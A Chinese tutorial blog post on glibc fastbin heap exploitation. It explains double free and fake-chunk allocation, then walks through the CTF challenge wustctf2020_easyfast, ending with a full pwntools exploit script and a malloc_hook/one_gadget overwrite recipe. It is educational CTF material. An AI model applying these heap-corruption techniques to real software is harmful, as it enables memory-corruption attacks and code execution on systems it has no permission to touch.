fastbin attack快速入门

14 篇文章 1 订阅

0x01 fastbin简介

Fastbin包含0x20~0x80大小bin的数组指针,用于快速分配小堆块。fastbin按照单链表结构进行组织,相同大小的bin在同一个链表中,fd指向下一个bin,采用LIFO(Last In First Out)机制。在fastbin中,堆块的inuse标志都为1,处于占用状态,防止chunk释放时进行合并,加快小堆块的分配。

正常fastbin的使用

通过这个简单的案例来了解fastbin的单链表结构,malloc和free的过程。

#include<stdio.h>
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x30);
    chunk2=malloc(0x30);
    chunk3=malloc(0x30);
    //进行释放
    free(chunk1);
    free(chunk2);
    free(chunk3);
    //重新获取
    malloc(0x30);
    return 0;
}

3次malloc之后堆的分布情况
在这里插入图片描述
3次free(chunk1,chunk2,chunk3)之后堆和fastbin单链表的情况。可以看到确实是一个单链表的结构,chunk->bk不会被设置,inuse位也不会因为释放而改变。
在这里插入图片描述
重新申请0x30大小的堆块。先被获取的是0x602080也就是最后一个被释放的chunk。
在这里插入图片描述

0x02攻击方式

1.fastbin double free(绕过free检查)

同一个fastbin被多次释放。Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin被释放以后inuse位不会被置0
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块。对于链表后面的块,并没有进行验证。

最简单的fastbin double free如下

#include<stdio.h>
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}

两次malloc(0x10)之后堆块中分配了两个chunk
在这里插入图片描述
下面对chunk1进行double free。chunk1->fd指向chunk2,chunk2->fd指向chunk1。
利用方法:

  1. 申请0x20堆块(0x602000),此时可以修改fd为我们需要修改的地址fakechunk_addr,如malloc_hook-0x23。此时0x20的fastbinsY已经指向了0x602020
  2. 申请0x20堆块(0x602000)
  3. 申请0x20堆块(0x602000),此时0x20的fastbinsY指向了fakechunk_addr
  4. 再次申请0x20堆块,此时如果通过了检查就能分配到fakechunk

在这里插入图片描述

2. house of spirit?Alloc to stack?Arbitrary Alloc(绕过malloc检查)

主要是针对fastbin的单链结构,覆盖fastbin的fd为 fakefastbin的地址,使之后要分配的fastbin为fakfastbin。同时fakefastbin还要绕过chunk大小检查,在将chunk分配之前会检查fakefastbin的size是否和同一条链上的其他chunk大小相同。

 /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
        //这里检查获得chunk的size是否属于这条fastbinY
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

在不同的地方构造fakefastbin可以达到不同的效果

  1. 在栈上伪造fastchunk,覆盖返回地址
  2. 在bss上伪造fastchunk,修改全局变量
  3. 在堆上伪造fastchunk,修改堆上数据

小技巧
malloc一个大小在0x70 ~ 0x80之间的堆块,进行free时堆块会进入0x70 ~ 0x80大小的单向链表。由于系统中0x7f这样的数值比较好找,所以能够构造0x7f(比如malloc_hook - 0x23地址)这样的数值来绕过上面的检测

在这里插入图片描述

0x03 例题wustctf2020_easyfast

调试小技巧:因为程序设置了alarm,不方便我们调试查看。我们可以用ida将这两条命令用nop填充。
在这里插入图片描述

1.查看程序保护

可以修改GOT表,没有PIE。
在这里插入图片描述
试运行程序,应该是菜单题。
在这里插入图片描述

2.分析程序

选项1是add函数添加note。选项2是delete函数删除note。选项3是edit函数写note。选项4是backdoor后门函数。

在这里插入图片描述
add函数
最大可申请0x78大小chunk,也就是说只能申请fastbin,并将申请的chunk记录在bss的heap数组中。
在这里插入图片描述
delete函数(有漏洞)
输入index之后,将对应的chunk释放。问题是没有将heap数组置0,可能存在uaf。
在这里插入图片描述
edit函数
只能读入8个字节。所以没法通过修改fd来fastbin attack修改malloc_hook
在这里插入图片描述
backdoor函数
只要能够设置0x602090=0即可getshell。这样的话,题目已经在明示我们用fastbin attack来修改这个值。且明显fakefastbin的size为0x50。
在这里插入图片描述
在这里插入图片描述

3.利用方法

基本思路就是通过fastbin attack在0x602090分配chunk,修改1为0,最后直接调用backdoor来getshell

  1. add一个0x40大小chunk
  2. free刚创建的chunk
  3. 由于UAF漏洞,修改chunk的fd为0x602080
  4. 再创建两个0x40大小的chunk
  5. 将刚0x602090内容修改为0
  6. 触发getshell

构造fastbin attack
执行完上面的步骤1,2,3之后。可以看到0x50大小fastbin链中已经存在0x602080。接下去只要创建两次0x40大小的chunk,就能得到0x602080位置的chunk.

add(0x40)#0
delete(0)
edit(0,p64(0x602080))#fastbin attack

在这里插入图片描述
修改0x602090
红框是heap数组,可以看到heap[2]指向了0x602090,再调用edit函数修改内容为0即可

add(0x40)#1
add(0x40)#2
edit(2,p64(0))

在这里插入图片描述
getshell
调用backdoor()来getshell

backdoor()
p.interactive()

4. exp

from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
	context.log_level='debug'
	context.terminal = ['terminator','-x','sh','-c']
	p = process('./wustctf2020_easyfast')
	elf = ELF('./wustctf2020_easyfast')
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('node3.buuoj.cn',26554)
	elf = ELF('./wustctf2020_easyfast')
	libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')


def add(size):
	p.sendlineafter('choice>','1')
	p.sendlineafter('size>',str(size))


def delete(idx):
	p.sendlineafter('choice>','2')
	p.sendlineafter('index>',str(idx))


def edit(idx,content):
	p.sendlineafter('choice>','3')
	p.sendlineafter('index>',str(idx))
	p.send(content)


def backdoor():
	p.sendlineafter('choice>','4')


add(0x40)#0
delete(0)
edit(0,p64(0x602080))#fastbin attack
add(0x40)#1
add(0x40)#2

edit(2,p64(0))

backdoor()
p.interactive()

0x04 总结

一般情况下,我们会创建0x70的chunk,利用double free或者UAF漏洞将chunk的fd修改为malloc_hook-0x23,使得能够申请到malloc_hook附近。将malloc_hook覆盖为one_gadget。当malloc_hook不为0时,执行malloc之前会先执行malloc_hook地址保存的函数地址。如果所有的one_gadget都失效了,可以将malloc_hook覆盖为realloc_hook+n地址跳过最前面的push指令来调整rsp,再将realloc_hook覆盖为one_gadget。
一般套路

  1. 利用漏洞修改0x70大小fastbin链条中某个bin的fd为malloc_hook-0x23 (值为0x7F可以绕过分配时的size检查)
  2. 多次分配得到目标chunk,修改malloc_hook为one_gadget
  3. 如果不成功可以参考下面链接调整rsp

参考链接:
onegadget不起作用
CTFwiki

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值